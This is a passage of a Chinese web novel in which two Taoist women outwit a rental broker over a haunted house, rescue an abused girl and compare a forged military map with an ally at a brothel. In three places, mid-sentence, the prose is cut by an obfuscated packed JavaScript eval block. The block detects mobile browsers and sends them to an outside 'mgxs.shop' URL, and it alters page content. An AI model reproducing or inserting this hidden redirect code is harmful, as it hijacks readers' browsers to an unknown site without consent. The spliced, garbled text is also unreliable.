言罢，她从怀中摸出一只青瓷小瓶，拔开瓶塞，将那些粉末均匀洒在蟾尸与阴阳环上。只听“滋”的一声轻响，冒起一股青烟，那蟾蜍连同阴阳环竟迅速化为一摊浓黑黏液，转瞬渗入土中，只余些许微甜之气飘散空中。 姜南绍望着地上残留的污迹，轻叹一声：“可惜了，好好一只阴阳环，竟被这腌臜物糟蹋了。” 周至语白她一眼：“早说了那婆子不像好人，偏你不听。如今赁了这鬼地方，惹来这些腌臜东西寻晦气，可不是自找的？” 姜南绍嗤地一笑：“你我修道之人，还怕这些装神弄鬼的把戏？倒是那老虔婆，明日我自去找她，好好算算这笔账，定要让她出点血。” 周至语道：“只怕那些人未必肯罢休，夜里再来寻事。” “那倒要看看他们究竟图什么。”姜南绍踱至窗边，望着外头沉沉的夜色，“咱们占了他们的巢穴，他们岂肯轻易罢手？等着罢，往后怕还有得热闹瞧。” 周至语听罢，倒轻轻笑了：“这么说来，住在此处……倒也不算无趣。” 第二日天刚蒙蒙亮，急着进账的柳五娘便来敲门。 门没闩，她喊了声“姑娘”，院里无人应，便轻轻推开门，探进半个身子。 院里静悄悄的，不见人影。她又抬高声唤了一回。 东厢房门“吱呀”一声开了，姜南绍打着呵欠出来，长发散着，睡眼惺忪。 柳五娘偷眼打量，见她神色如常，并无半点惊惶的样子，心里便嘀咕起来：莫非昨夜那些东西没出来闹腾？ “姑娘昨夜……歇得可安稳？”她堆着笑，试探着问。 姜南绍像没听见，径直从她身边走过，到院角井边打了桶水，自顾弯腰掬水洗面。 西厢房的门也开了。 周至语出来，目光淡淡落在柳五娘身上，上下一扫。那眼神说不出什么意味，却看得柳五娘后脖颈子发凉。 她忙又笑着迎上去：“这位姑娘也起了。老婆子来得早，扰了二位清梦，真是……人老了觉少，莫怪莫怪。” 周至语只从鼻子里轻哼一声，也去井边盥洗。 姜南绍这时已洗完脸，拿袖子随意抹了抹面上的水珠，慢悠悠转身朝柳五娘走过来。 柳五娘终于觉出气氛不对了，那点子笑僵在脸上，硬着头皮上前两步：“姑娘，照昨晚说定的，老婆子……来收余下的租金。” “妈妈且慢。”姜南绍摆了摆手，转身回屋。 再出来时，她左手握着一柄七星桃木剑，右手拎了个沉甸甸的布囊。 她把布囊往地上一掷，束口松开，里头的东西哗啦啦散了一地——八卦镜、三清铃、捆仙绳、符纸朱砂……一应道家法器，摆得满满当当。 柳五娘探头一瞧，脸色登时变了，不由得倒退两步：“这……这是何意？” “妈妈，你这房子，”姜南绍用桃木剑尖轻轻点了点地面，“不干净。” 柳五娘一怔，随即嗓门拔高起来：“姑娘可不能红口白牙乱说！我这屋子干干净净的，从没出过腌臜事！您若是想退租，明说便是，可那定钱按规矩是不退的！犯不着编这等瞎话来讹我老婆子！” 姜南绍哼了一声：“莫不是妈妈瞧着我姐妹两个是姑娘家，打量我们好诓骗？” 周至语也在一旁冷冷接口：“我们几时说不租了？倒是妈妈你，莫不是惯用这套装神弄鬼的把戏，骗了人家的定钱又吓走房客，两头吃利？” 柳五娘顿时拍着大腿往地上一坐，扯开嗓子嚎起来：“天爷啊——我柳五娘在这匠巷活了大半辈子，清清白白做人，规规矩矩做生意！两位姑娘怎能这般糟践人呐.....” 姜南绍皱了皱眉，不为所动：“妈妈不必如此。若真觉我们诬了你，现下便去见官，请官老爷断个分明，如何？” 柳五娘假意抹着眼泪，心里却飞快盘算起来：往日赁这屋子的，受了惊吓不到天明便来哭求退租，这两位却能安然待到此刻，显然不是寻常好糊弄的主。 她暗叹一声，转而作出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527886|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副可怜相：“不瞒姑娘说，这屋子……确有些不妥。老婆子方才那些话，也是被逼急了。”她咬咬牙，像是吃了多大的亏，“这样罢，我把定钱退还你们，这买卖就此作罢，如何？” “妈妈误会了，我们不是不赁宅子了。”姜南绍哪肯就此罢休，神色略缓了缓，语气却仍端着几分肃然，“我们是想同妈妈做个买卖。昨夜那东西虽被咱们惊走，却未根除。要彻底了结这祸害，可不是容易的事。” 她顿了顿，直视着柳五娘：“我姐妹两个原是游方修道的女冠，若妈妈情愿，倒可替你除了这屋里的妖祟。” 柳五娘心头猛地一沉，旋即又是一喜。心里发沉的是撞上了游方女冠，怕惹上麻烦；欢喜的是，若她们真有本事除了那“东西”，这几间闹鬼的空屋岂不都能盘活？ 柳五娘脸上立时堆起又惊又敬的神色，忙不迭行下礼去：“原来是两位姑姑！老婆子有眼不识泰山！”她搓着手，压低了声儿，“不瞒二位姑姑，这前后几间空屋都闹腾得厉害，老婆子也请过几位道长来看，总也驱不干净。若姑姑们真能除了这祸根，老婆子必当重重酬谢！” 姜南绍装模作样地随她将前后几间空宅都看了一遍，面上气定神闲：“妈妈不必忧心。这几间宅子闹的，实是同一妖物作祟。要除，不难。” 柳五娘将信将疑：“姑姑此话当真？”她做了半辈子牙婆，向来只有她拿话诓人的份儿，何时轮到自己被人牵着走了？眼珠一转，又道：“不是老婆子不信二位，实是这半年来，这几间屋子闹得忒凶，请过好些位道长来瞧，总也断不干净……” “妈妈若不放心，可立字为据。”姜南绍接过话头，语气平淡却笃定得很，“若五日内除不了这孽障，我们愿付双倍房租。” 柳五娘心头一喜，当即拍手：“如此甚好！”又暗自琢磨：昨夜那般动静，这二人竟安然无恙，必是有几分真本事的。 姜南绍嘴角微扬，浮起一抹浅笑：“只是，咱们要的酬金可不低。却不知妈妈能否代屋主应下？不过妈妈端这碗饭的，想来总有法子说通主家。” 柳五娘忙赔笑道：“姑姑是慈悲人，定不会苛刻老婆子。您且说说条件，老婆子尽力去办。” “三间宅院，除祟的酬金嘛——”姜南绍摸着下巴，慢悠悠道，“咱们要半年的租金。” 柳五娘倒抽一口凉气，连连摆手：“这、这可使不得！姑姑这价码，莫说屋主，便是老婆子听着也心惊。任我舌灿莲花，也万万说不通啊！” 姜南绍轻轻一笑，眼底却没什么温度：“我自然知道妈妈说得通——你替屋主算笔账，便知该不该应了。” 柳五娘心里当然明白。这几间鬼宅空置半年，一文不进，若能除了祸患，屋主哪有不应的？她方才那番作态，不过是想多抠些油水。可瞧着眼前这年轻女冠的眼神，便晓得再绕弯子也是白费功夫。 眼珠子骨碌一转，她咬咬牙：“行！这主，老婆子便斗胆替屋主应下了！”她伸出手，“还请姑姑将度牒与老婆子一观，我这就回去拟契约，晚些时候带来，咱们签字画押。” 姜南绍从怀中取出度牒递过。柳五娘仔细验看后，叠好双手奉还，转身便要回去拟契约。 “妈妈，”姜南绍唤住她，声音不高，“是不是忘了件事？” 她瞥去一眼：“我的定钱，还未退呢。” 14. 市井 柳牙婆心里一咯噔，脸上那笑登时僵住了。 她张了张嘴，眼珠子骨碌乱转，心里暗叹这主儿当真半分糊弄不得。本想辩解几句，可瞧着姜南绍那不急不躁、却叫人无处躲闪的目光，到底把到嘴边的话咽了回去。 干笑两声，从袖中摸出那锭银子，摩挲了两下，这才依依不舍地递过去：“老婆子记性不好，险些忘了。姑姑莫怪，莫怪。” 姜南绍接过银子，随手往袖中一揣，面上仍淡淡的：“妈妈慢走，不送。我们等着你的契书。” 柳牙婆连声应着，退出院子，转身时脸上的笑便褪得干干净净。 她攥了攥袖口，心里暗暗叫苦——这一趟，不但没讨着便宜，反把到嘴的定钱吐了出去，还搭上半年的租子。那年轻女冠瞧着岁数不大，行事却这般老辣，真是碰上硬茬了。 怕有变数，得赶紧回去拟了契约签了才能放心。这么一想，脚下步子便快了几分，很快拐过巷口没了影。 待柳牙婆的身影消失在门外，一直抱臂旁观的周至语一脸不屑，转身便要回屋。 “师姐。”姜南绍叫住她，将手中那包定钱拆开，分出一半递过去，“除祟还得你出力。你先收着，待那些租金到手，再分你一半，总不好叫你白忙。” 周至语脚步顿住。 从前她顶顶看不惯姜南绍这般锱铢必较的做派，觉得修道之人贪恋黄白之物，实在不堪。可后来知晓了其中缘由，那份不齿便化作了一股说不清道不明的滋味。 她轻哼一声，极力掩饰不自在：“你自己收着罢。不是人人都像你这般，眼里只认得钱。”侧过脸去，声音低了几分，“别以为撒些银钱，做几件善事，就能抵得过……” 说罢眼圈竟微微一红，转身便回了屋。 姜南绍握了握手里的银子，面上不动声色。细细瞧去，嘴角却浮起一丝不易察觉的笑意。 柳牙婆是个爽利人，未到午饭时分便来小院寻姜南绍，三言两语签了契约。 她心里那本账拨得精：若能除了鬼祟，这几间空宅便能正经赁出去，往后省了那些提心吊胆骗钱的勾当；若除不了，自己白得双倍租金——横竖都不吃亏。 一张老脸笑得跟菊花似的，临走还特意叮嘱：“姑姑们可上心些，五日后老婆子便领人来看宅子，千万别误了时辰。” 见二人神色淡淡的，她倒也不往心里去——女冠嘛，清高些是常事。把余下三间空宅的钥匙一并交了，揣好契约，心满意足地去了。 午后，街面上渐渐热闹起来。 姜南绍二人收拾停当出了门，周至语去见云来先生，姜南绍说要独自在城里走动，熟悉熟悉周遭情形，却是另有打算。 姜南绍出了门没走几步，迎面撞上个低头疾走的小丫头。 那丫头约莫十二三岁，穿件藏蓝短袄，眼角还挂着泪，倒不忘低声道歉：“对不住，姐姐。” 姜南绍多看了她两眼，扯了扯嘴角：“无妨。” 这时，后头急急追来个三十来岁的妇人，拉着小丫头不让她走，慌慌张张捧起女孩的脸细看。 姜南绍这才看清，那丫头白净的面颊上，印了几道红肿的指痕。 妇人眼泪登时滚了下来，颤着声问：“秀莼，疼不疼？” 秀莼抿紧嘴唇摇了摇头，脸上淡淡的，没什么表情。妇人见了她这神情，哭得更凶。 姜南绍觉着自己这么瞧着人家母女不妥，正待转身，却听那叫秀莼的姑娘轻声开了口：“疼一阵子有什么要紧。若是一辈子都要这般疼下去……倒不如死了干净。” 她顿住脚步，回身看向那女孩。 那名唤秀莼的丫头眼神里，有一种超出她这年纪该有的决绝，冷得叫人心惊。 妇人听了这话，踉跄退了两步，眼中满是惊惶，像是头一回认得自己闺女似的。 一个高壮汉子从隔壁院门里冲出来，手里攥着根极粗的竹棍，劈头盖脸就往秀莼身上招呼：“供你吃供你穿，还养出个嘴硬的孽障！老子今儿非打死你这白眼狼不可！” 妇人骇得脸都白了，慌忙扑过去用身子挡住女儿，连声哀求：“二叔！孩子小，不懂事！我定好好教她！您别打了，别打了……”她急急回头，声音都在发抖，“秀莼！快，快给二叔赔个不是！” 房秀莼却只冷冷盯着那男人，抬手抹了把脸上的泪，一把推开阿娘，挺直了脊梁，由着那竹棍落在自个身上，咬着牙，一声不吭，硬生生受着。 姜南绍本已迈开的步子，又收了回来。 她素来不爱管旁人的闲事。可这女孩不哭不闹、脊梁笔直的模样，不知怎的，叫她觉着眼熟——熟得仿佛那竹棍是抽在自己背上，火辣辣地疼。 她身形一动，已拦在中间，一把攥住那汉子挥下来的手腕。 “便是自家孩子，”她声音不高，却透着一股冷峭的力道，“也不该下这般死手。况且，我听来，你不是他阿爹。” 房二郎手腕吃痛，竹棍“啪嗒”落了地。姜南绍瞥了一眼——竟是根上好的制龙笛竹料，纹理细密匀直，极难得的东西。 房二郎见是个年轻女子，嘴里便不干不净起来：“哪来的小娼妇，敢管老子家的闲事！” 姜南绍手上微一加力，那男子的腕骨便“咯咯”作响。 她声音不高，却透着股寒气：“嘴这般臭，手就别要了。留着一张嘴，倒也够用了。” 房二郎只觉骨头跟要裂开似的，冷汗唰地淌了满脸，疼得眼前发黑，连声讨饶：“小、小娘子饶命！不敢了，再也不敢了！女侠……女侠高抬贵手！痛、痛煞我也……” 姜南绍冷哼一声，猛一拧转才松开手，顺势往前一推。房二郎踉跄几步，一屁股瘫在地上，哼哼唧唧半晌爬不起来。 “若再叫我瞧见你欺压妇孺，”她抬脚使劲踢了他一下，“便卸了你这条膀子。滚。” 房二郎忍痛爬起来，头也不敢抬，捧着那只肿起的手腕，连滚带爬缩回院门里去了。 妇人搂着女儿，哭得浑身发抖：“这可怎么好……得罪了二叔，往后日子可怎么过……” 门口聚的人越来越多，叽叽喳喳议论起来：“这房二郎真不是个东西，霸占了大房家产，还这么作践人。” “房大郎也太老实了，一家子跟着受罪，造孽哟……” 房秀莼却像没听见这些闲话，只起身朝姜南绍端端正正行了个礼：“秀莼多谢姐姐援手。” 姜南绍此刻却隐隐有些后悔，她向来不爱插手旁人的因果，只略一颔首，没再多言，转身便走。 看热闹的人群也渐渐散了。 走出几步，她察觉身后跟了个小尾巴。步子一顿，回过头去，那小姑娘吓得往后一缩，脸颊边的红印子还没消，却挤出个极灿烂的稚气笑容。 姜南绍皱了皱眉，转身继续走。那细碎的脚步声又跟了上来，不远不近，像只怎么也甩不脱的小猫儿。 她又停下，这回没回头，只淡淡道：“跟着我作甚？回去。” “姐姐，”她小声问，“我就是想问下你姓什么？” 姜南绍低头看她：“你叫秀莼？房秀莼？”她方才听人唤那汉子“房二郎”。 秀莼点点头。 姜南绍微微屈膝，蹲下身与她平视，极难得地耐着性子劝道：“秀莼，我虽帮过你，也未必可信。回去罢。” 秀莼点点头，却又道：“可我信姐姐。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527887|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“只因我帮了你？” 她点点头，想了想又摇摇头，眼神倔倔的：“就是信，姐姐是个好人。” 姜南绍冷着脸摇头：“别太信眼睛看见的。有时眼见，也未必是真。”她顿了顿，声音低了些，“人得学着靠自己。这世上，唯有自己最靠得住。明白么？” “我明白的。”秀莼点头，说出的话却成熟得让姜南绍心头一颤，“就像我阿娘嫁给我阿爹，原也是指望不上的。” 她仰起脸，接着问道：“姐姐一看便知是从不靠旁人的，我也想同姐姐一样，不想像我阿娘那样。” 她朝姜南绍赁的那处宅院望了一眼，带着几分倔强：“我没别的事，就想知道姐姐姓什么？下回若再见到你，我方知该如何称呼姐姐。” 姜南绍怔了一怔。 姓什么？姓姜么？那不过是顶着别人的名姓活着罢了。她有时候觉着自己跟行尸走肉也没什么分别，人不人，鬼不鬼的，终有一日要烂在无人知晓的泥地里。 今日不知怎的，她忽地存了那么点私心——盼着旁人能记住“姜南绍”这个名字，记住那个本该笑起来眉眼明亮、鲜活恣意的少女，而不是如今这副模样的自己。 她扯了扯嘴角，露出个极不自然的笑来：“我姓姜。好了，回去吧。” 这些年，她不大爱笑，自己也晓得这笑容必定生硬又别扭。 可秀莼却跟着笑了：“姜姐姐，”小姑娘眼睛亮晶晶的，由衷夸道，“你笑起来真好看。我都记住了。” 她得了她的姓，仿佛开心起来，转身就要走，走出几步又回过头，朝姜南绍用力挥了挥手。 “姜姐姐，我记住了——人得靠自己。” 姜南绍没再接话，面上的笑意收了回去，依旧淡淡的。 她沿着匠巷往南走，要去秦州城顶热闹的芳马街。 芳马街在秦州城南，离匠巷隔着七八条街。虽是白日，红灯笼却从街头挂到巷尾，风花雪月的去处，胭脂水粉的香气混着酒味，还没入夜，便先熏得人骨头都酥软三分。 她在一座挂着“思云楼”匾额的三层小楼前停了步。 那红漆大门外挂着红栀子灯，门口一个男子正拿抹布擦洗门板，见来了位姑娘，脸上的笑便僵了僵：“姑娘，您有什么事？小店申时才开张呢。” 姜南绍手里紧紧握着一把梳篦，闻言将这把五色梳篦簪入发间。 那男子一怔，不敢多言，慌忙推开半掩的红漆大门，侧身让开了路：“姑娘，您请进。” 那男子回头又探出脑袋左右张望了一回，方才放下心来，将门闩好，引着姜南绍往里走。 他领着姜南绍径直穿过前厅，绕过那座雕花大屏风，顺着侧廊往后院去。 后院的光景甚是雅致。高高翘起的屋檐，半掩在一棵枝繁叶茂的大槐树旁。再往里走，入眼便是一片青翠幽深的竹林。竹子生得修长挺拔，一根根清瘦而有劲，竹叶细密。几株老梅光秃秃地立着，枝干虬结，倒也有几分风骨。 那男子在一间厢房门前站定，抬手叩了三下。 “进来。”里头传出一个慵懒的女声，带着些沙哑的调子。 男子侧身让开，颔首退下。姜南绍推门而入。 屋子不大，陈设却精致。 屋里生着火，临窗摆着一张美人榻，榻旁立着个二十几岁的女子。她穿着一袭绿荷色衫子，松松地罩在身上，乌发散在肩头。窗户用竹竿支起，风吹进来，那乌丝便在她额前轻轻拂动。 她手里捏着一把小银剪子，正慢悠悠地修剪瓶中几枝腊梅。 “怎的几年不见，你这皮肤倒糙了这许多？”那女子抬起头来看她，皱着眉头，语气里带着几分嗔怪。 15. 思云楼 姜南绍伸手从发间取下梳篦放到怀中，随口道：“糙些便糙些，倒省了脂粉钱。” 那女子这才搁下剪子，笑吟吟地张开双臂迎上来。 姜南绍一把推开她：“口渴得紧，快与我倒碗茶来。” 女子斟了碗热茶递过去，上下打量她一番，眉头微蹙：“又瘦又黑，你如今是掉进钱眼儿里了？连这点脂粉钱也省，我今日便送你些。”说着嫌弃地捏了捏她的脸，又伸手替她揉揉肩，末了照肩上拍了一巴掌，才松开手，“这骨头硌得人难受，你是修道还是修苦行？” 姜南绍仰脖灌了口茶，这才笑盈盈地细细端详她——一张鹅蛋脸，眉眼间带着风月场里特有的妩媚，偏又透着一股飒爽利落：“阿南，你在秦州养得倒好。这大西北风沙都没损你半分颜色，比从前又标致了不少。” “倒是你，叫人不省心。”冯淮南摇摇头，心疼地拉过她手腕，指尖搭在脉上，凝神片刻，“这内里亏得厉害，这几年怕没少折腾自个儿罢？” 姜南绍由着她把脉，也不缩手，只淡淡道：“活得挺好，没什么亏不亏的。” “嘴硬。”冯淮南松开手，走到桌边又倒了碗热茶递过去，“要我说，你也别太拼命了。既然老天让咱俩再活一回，便不能白白糟蹋了去。” 姜南绍接过茶碗，捧在手心，却没喝，只低声道：“若能真回到从前，我便换个活法。” 冯淮南闻言微微一怔，旋即苦笑：“也不知最后成不成。” “只等那人到了秦州，成与不成，一切便尘埃落定了。” 姜南绍从怀中摸出一张布防图放在桌上：“我最近得了一张布防图，我先前让人给你传了消息，你可曾派人去了大小洛寨？” 冯淮南点了点头，起身走到窗边，将支起的竹竿取了下来，将窗关严实了，这才压低声音道：“我派去的人，前几日已经回来了，你等我会子。” 她转身入了内室，过了一会工夫便出来了，手上多了一个纸卷。解开系绳，那纸便“唰”地一声展开来——是一张楮皮纸地图。 姜南绍将得来的那布防图摊在桌上，二人细细看了起来。 看了一会儿，姜南绍神色凝重了几分：“果然，我所料非虚，我得来的那张兵防图是假的。” “你莫非早就疑心这图有假，才让我派人去大小洛门寨的？” “你瞧这里。”姜南绍指了指图上的一处，“我先前查看这张图时，便觉粮草库标在民居近旁，实不合理。真正的粮草库断不会设在此处，万一失火，必殃及百姓。还有这一处，粮草库旁本该有独立水井和防火沟，这图上却全然未标。” 她冷哼一声：“我当初便疑这图有诈，因而叫你派人去大致绘一张回来，两相对照，真假立判。你带回的图虽是不涉机密，但与这兵防图，却连个大致模样都对不上，更不必说那些机要之处了。” “我家阿濡真是长本事了。”冯淮南伸手抱住她，心里发酸，“我又心疼又得意，这是怎么说？” “阿南，你也该夸夸自个儿。你瞧瞧如今，办事有板有眼，比六年前我刚将你带回来的时候，强了何止百倍。” 冯淮南笑得眉眼弯弯，甚是受用：“我如今倒觉得，比从前在家做大小姐时自在多了。那时候一门心思想嫁个好夫君，在家依赖父母，出嫁便从夫。现今方晓得，人靠自己，才更快活。” 她又摆摆手，眼里有泪光闪过，不愿多提旧事，只咬牙道：“你若真能回去，甭管打也好骂也罢，只管点醒我，叫我离那贱男人远些，再带着我挣大把的银子去。” 冯淮南呵呵的笑，见她半晌不言语，歪着头觑她：“怎么？不舍得带我挣银子？” 姜南绍回过神来，嗤地一笑：“带你挣银子倒是不难，就怕到那时候你嫌我太市侩，难以说动你。” “你定有法子说动我的，我信你。”冯淮南一扬下巴，复又叹了口气，将那张假图折起收好，“说正事。这张假地图，你是从何人手里得来的？” “一个叫丁温延的暗探。他是机宜司的人，奉命将图交给机宜司的同僚，差点半路被吐蕃人截了。” 姜南绍顿了顿，又道：“我原以为他只是谨慎过了头，如今看来，要么是他本事不济，被人掉换了假货还蒙在鼓里；要么……”她沉吟着没往下说。 “要么，他本就是故意拿张假图来试探你？”冯淮南接过话头，眉头拧了起来。 “不好说。”姜南绍思忖片刻，“他在河州大小洛门寨做了多年暗探，应当不至于连真假都分不出，我觑他模样，倒不像装的，倒像也是被蒙在鼓里的。” “先不急。”姜南绍道，“若真是为了试探我，迟早会有人找上门来。走一步看一步罢。况且我赁的那匠巷宅子，也不简单。这些事搅在一处，着实复杂得很。” “也好，走一步是一步。牛鬼蛇神，总归会现身的。”冯淮南重新坐下，给自己也倒了碗茶，“那你这些日子便住在匠巷？若有什么事，让人来思云楼递个话，我这边也好替你打听着。” “正要与你说。”姜南绍从袖中摸出一张纸笺，递过去，“这是我赁的那处宅子的地界。你且记下，往后有事便使人来，莫要亲自去，免得招人疑心。秦州水深，咱们都需小心些。” 冯淮南接过，扫了一眼，贴身收好。 姜南绍又抬眼端详她，目光少见地柔和下来：“阿南，这些年倒是委屈你了。” “委屈什么？”冯淮南推了她一把，“见不得你这副模样。我自在得很，不劳你操心。” 姜南绍勉强一笑，倚在她肩上，忽觉心中安宁，周身都舒展开来。 她细细将这几日到秦州后的事说了一遍。 “那个牙婆柳五娘，我认得。”冯淮南听罢，扭头看怀里的姜南绍，想了想，“我在秦州住了这两年，打过几回交道。这人只是贪财，那几间空宅里闹的东西，只怕不是她弄的，她还没那个手段。” “我知道。”姜南绍走到门边，回头看了她一眼，“想来多半是西夏人。昨夜已交过手，伤了一个，被他走脱了。想必这几日会消停些。待我除了宅中后患，得点银子再说。” 姜南绍坐直起来，端着茶盏，不紧不慢地抿了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527888|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“你这边儿，近来可有西夏的人走动？” 冯淮南脸上那点子慵懒的笑意收了收，瞅着她看了片刻，压低声道：“你打听这个做什么？” “自然有我的道理。”姜南绍搁下茶盏，“你只说有没有。” “有。”她脸上的笑意彻底敛了去，“前几个月前开始，隔三差五便有几个穿异服的汉子来。出手大方，要顶好的酒，顶好的姐儿。可我瞧着这些人不像寻常做买卖的。有几回见他们坐在临窗的包间里，眼睛总往街面上溜，像是在等什么人，又像是在盯谁的梢。” “下回他们再来，你留点神，看看他们到底在瞧什么。有消息便使人递话给我。”姜南绍脸色沉了下来，“我总觉得，自打踏进秦州地界，就仿佛有双眼睛，一直在暗处盯着我。” “你自己当心些。”冯淮南话语间带着几分忧心，伸手替姜南绍拢了拢衣领，指尖顿了顿，“莫总是一个人担着。有事便使人来知会我一声。你大了，我也大了不是？咱俩相依为命的，可不许你一人擅作主张。” 姜南绍淡淡一笑：“好。” “我该走了。出来太久，恐惹师姐疑心。那几间空宅里的妖祟，还得费些手脚收拾。” “你那师姐，还与你过不去？” “还是那般。”姜南绍语气平平，像在说一件不相干的事，“拌几句嘴，算不得什么。她不知实情，怪不得她。” “你便不打算将实情告诉她？” “多说无益，寻着机会再说罢。”她站起身，“我走了。兵防图搁你这里，我带在身上不便。得空再来看你。” 冯淮南点了点头，不再多言，只将她送到院中竹林边上，到底放心不下，又道：“你那位师父为人狠辣，我着实担心你的处境。” “阿南，莫要担心。若非她利用我，我哪学得来这些本事？只是这些年来，本事也不是白学的，凡事我都存了个心眼，才得以将你寻回来帮手。”她握了握冯淮南的手，“我已不是几年前的那个阿濡了。从她杀了那叫姜南绍的小女娘那一刻起，我便不是了。我倒要谢她，教了我这许多人心险恶。更何况，她一直以为杀姜南绍的事我不知道——放心，我防着她呢。” 冯淮南险些落下泪来，偏过头去：“阿濡，你方才说若能回去想换个活法，我是真盼着你能好好的。” 姜南绍沉默了片刻，月色下那张黑瘦的脸辨不清神情，只声音低低的：“阿南，若重来，我不想做姜南绍，也不想做阿濡。” 冯淮南懂得她的心思，点了点头。送她到门口，忽然拉住她的袖子，压低声音道：“阿濡，你当真想清楚了？一旦启动阵法，可就没有回头路了。” 姜南绍脚步微顿，侧过脸来，眼底掠过一丝复杂的情绪，旋即又恢复如常。 “想清楚了。” 她说完，摆了摆手：“走了，别送了。” 冯淮南倚在那棵槐树边，望着她的背影渐渐消失在竹林深处，良久，方才轻轻叹了口气。 许多年前，她哪里想得到，那个说话办事都细声细气的阿濡，竟会成了如今这般模样。 16. 人性 姜南绍出了思云楼，街面上已比来时热闹许多，隐隐约约的丝竹声从各处楼阁中飘了出来。 她又独自在秦州城里转悠了大半日，将那几条要紧的街巷、市集、城门方位一一默记在心，顺道买了些日常用物，又胡乱吃了些东西垫肚子，方才往匠巷走去。 拐入匠巷时，已近掌灯时分。街上熙熙攘攘的人流散去了大半，叮叮当当的打铁声歇了下来，只余零星的狗吠，反倒更添了几分烟火气。 路过柳牙婆的牙行，她忽地想起房二郎掉在地上那根竹棍——纹理细密匀直，是做龙笛的上好料子。 心里微微一动：这挣大把银子的机会，她可不会放过。这么想着便脚下步子转了弯，拐进了柳牙婆的牙行。 柳牙婆正在柜台里清理账目，见是姜南绍来了，赶紧迎出来：“哟，是姑姑来了，里面坐。” 待她坐定，柳牙婆又殷勤地奉上一杯茶。 姜南绍晓得不能直说来意，否则怕要被这牙婆敲了竹杠去。对付这等人物，她自是有些经验的，只能先给她吃够甜头，再利用她的贪婪之心，这事准保能水到渠成，费不了多少银子就能收到这上好的龙笛材料。 她抿了口茶，又装模作样地打量了一番铺子：“妈妈这牙行，倒还敞亮。” 柳牙婆眼珠一转，脸上堆满了笑：“姑姑过奖了，不过是糊口的小本买卖，哪谈得上敞亮。”她暗自打量着姜南绍的神色，心里琢磨这位女冠这时候上门，究竟所为何事？ 姜南绍从腕上取下一只阴阳环，递过去：“我来是有事求妈妈帮个忙。烦你替我寻个手艺好的铜铺师父，照这个样子做几只。”说着，她从钱袋里取出一两银子递过去，“我这里先付个定钱。” 柳牙婆眼睛都亮了，见她那钱袋里银子不少，一看便是个大方的主顾。接过银子，笑得见牙不见眼：“好说，好说！这事包在老婆子身上，我这就关了铺子去替姑姑寻铜铺。” 姜南绍又从钱袋里掏出一两银子，递了过去：“这是妈妈的辛苦钱。千万要寻个手艺好的师父。” 柳牙婆见她出手这般阔绰，脸上的谄笑又浓了几分，赶紧伸手接了银子：“姑姑往后有什么差遣，尽管吩咐老婆子便是。这秦州地界，还没我老婆子办不成的事。” “往后麻烦妈妈的地方还多。”姜南绍语气平平的，“只要事儿办得漂亮，酬金不会短你的。” “那是自然！姑姑您把心放肚子里，老婆子做事保管让您称心！”柳牙婆连连应承，脸上的褶子都挤成了一团。 柳牙婆恭恭敬敬将她送到门外，瞧着人走远了，才收回目光，笑呵呵地掂了掂手里的银子，高高兴兴地回去关铺子了。 姜南绍回到小院，瞧见屋里已经掌了灯，周至语应是回来了。 周至语见她进门，仍是那副冷冷淡淡的样子。 姜南绍也没多说什么，只从怀里摸出一张油纸包着的胡饼，递了过去。 周至语不客气地接过，连句谢字都没提，低头便咬，许是等久了，饿得狠了，一口下去噎得直瞪眼，姜南绍顺手把桌上那碗凉水推到她跟前。 她将手上的青布包袱放在地上：“你不是怕冷吗，我上街时给你买了一床锦被。” 周至语将嘴里那口饼咽了下去，眼睛瞥了一眼：“怎么就一床？”话出了口又觉着多余——按这人往常的脾性，少不得要刺她两句。 “你用罢。我不冷。”姜南绍今日见了冯淮南，心情都轻快了不少，也懒得同她斗嘴。 姜南绍竟没拿话噎她，周至语有些意外，握着饼的手顿了顿，语气不觉软了几分，颇有些不自在：“天冷，手容易生冻疮。我调了些防皴裂的龟手药，你也使一些在手上。” 姜南绍自己原也备了此物，却不愿拂她的好意，点了点头：“好。” 言罢，忽忆起正事，便问：“云来先生那边如何说？” “先生也没说得甚细，只道你不必操心旁的事，他自会安排妥当。入知州府之前，有些细节处须得对一对，过两日他当遣人来请你去细谈。我已将落脚之处告知于他，别无他事，坐了片刻便回来了。” 姜南绍点点头：“那此事先搁下。这两日，咱们先将这宅子里的‘东西’料理干净。我待会儿去隔壁几间屋子转转，天黑了那些腌臜玩意儿才肯露面。” “不如我同你一道去？”周至语站起身来。 “不必。你赶了半天路，也该乏了，先歇着罢。我只粗粗看一看，就在对门，有事发个信号也来得及。”姜南绍摆摆手，“这点装神弄鬼的把戏，还无须劳动咱俩都去。” 周至语闻言便不再坚持。 姜南绍拣了枚火折子揣进怀里，推开院门出去了。 出了门口往怀里一摸，才想起对门的钥匙忘了带。 